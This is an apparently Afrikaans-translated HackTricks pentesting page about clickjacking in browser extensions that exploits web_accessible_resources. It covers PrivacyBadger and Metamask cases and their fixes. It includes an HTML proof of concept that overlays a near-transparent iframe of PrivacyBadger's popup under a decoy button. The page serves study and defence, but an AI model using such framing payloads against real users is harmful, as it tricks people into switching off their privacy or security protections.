hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md

7.3 KiB

BrowExt - Klieklok

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

Hierdie bladsy gaan 'n Klieklok-kwesbaarheid in 'n Blaaier-uitbreiding misbruik.
As jy nie weet wat Klieklok is nie, kyk:

{% content-ref url="../clickjacking.md" %} clickjacking.md {% endcontent-ref %}

Uitbreidings bevat die lêer manifest.json en daardie JSON-lêer het 'n veld web_accessible_resources. Hier is wat die Chrome-dokumentasie daaroor sê:

Hierdie bronne sal dan beskikbaar wees in 'n webbladsy via die URL chrome-extension://[PAKKET-ID]/[PAD], wat gegenereer kan word met die extension.getURL-metode. Toegelate bronne word bedien met toepaslike CORS-koppe, sodat hulle beskikbaar is via meganismes soos XHR.1

Die web_accessible_resources in 'n blaaier-uitbreiding is nie net toeganklik via die web nie; hulle werk ook met die uitbreiding se inherente voorregte. Dit beteken dat hulle die vermoë het om:

  • Verander die uitbreiding se toestand
  • Laai addisionele bronne
  • Interageer met die blaaier tot 'n sekere mate

Hierdie kenmerk bied egter 'n veiligheidsrisiko. As 'n bron binne web_accessible_resources enige beduidende funksionaliteit het, kan 'n aanvaller moontlik hierdie bron in 'n eksterne webbladsy insluit. Onvermoedende gebruikers wat hierdie bladsy besoek, kan hierdie ingeslote bron per ongeluk aktiveer. So 'n aktivering kan tot onbedoelde gevolge lei, afhangende van die toestemmings en vermoëns van die uitbreiding se bronne.

PrivacyBadger Voorbeeld

In die uitbreiding PrivacyBadger is 'n kwesbaarheid geïdentifiseer wat verband hou met die skin/-gids wat op die volgende wyse as web_accessible_resources verklaar is (Kyk na die oorspronklike blogpos):

"web_accessible_resources": [
"skin/*",
"icons/*"
]

Hierdie konfigurasie het gelei tot 'n potensiële sekuriteitsprobleem. Spesifiek, die skin/popup.html lêer, wat weergegee word na interaksie met die PrivacyBadger-ikoon in die webblaaier, kon binne 'n iframe ingesluit word. Hierdie insluiting kon uitgebuit word om gebruikers te mislei om per ongeluk op "Deaktiveer PrivacyBadger vir hierdie webwerf" te klik. So 'n aksie sou die gebruiker se privaatheid in gevaar stel deur die PrivacyBadger-beskerming te deaktiveer en moontlik die gebruiker aan verhoogde opsporing bloot te stel. 'n Visuele demonstrasie van hierdie aanval kan besigtig word in 'n ClickJacking-video voorbeeld wat verskaf word by https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.

Om hierdie kwesbaarheid aan te spreek, is 'n eenvoudige oplossing geïmplementeer: die verwydering van /skin/* van die lys van web_accessible_resources. Hierdie verandering het die risiko doeltreffend verminder deur te verseker dat die inhoud van die skin/ gids nie deur web-toeganklike bronne geopen of gemanipuleer kon word nie.

Die regstelling was maklik: verwyder /skin/* van die web_accessible_resources.

PoC

<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}

</style>

<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>

<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamask Voorbeeld

'n Blogpos oor 'n ClickJacking in Metamask kan hier gevind word. In hierdie geval het Metamask die kwesbaarheid reggestel deur te kontroleer dat die protokol wat gebruik word om dit te benader, https: of http: was (nie chrome: byvoorbeeld):

'n Ander ClickJacking wat reggestel is in die Metamask-uitbreiding was dat gebruikers kon Klik om te witlys wanneer 'n bladsy verdag van vishing was weens “web_accessible_resources”: [“inpage.js”, “phishing.html”]. Aangesien daardie bladsy vatbaar was vir Clickjacking, kon 'n aanvaller dit misbruik deur iets normaals te wys om die slagoffer te laat klik om dit te witlys sonder om dit te besef, en dan terug te gaan na die vishing-bladsy wat gewitlys sal wees.

Steam Inventory Helper Voorbeeld

Kyk na die volgende bladsy om te sien hoe 'n XSS in 'n blaaieruitbreiding gekoppel was aan 'n ClickJacking-kwesbaarheid:

{% content-ref url="browext-xss-example.md" %} browext-xss-example.md {% endcontent-ref %}

Verwysings

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: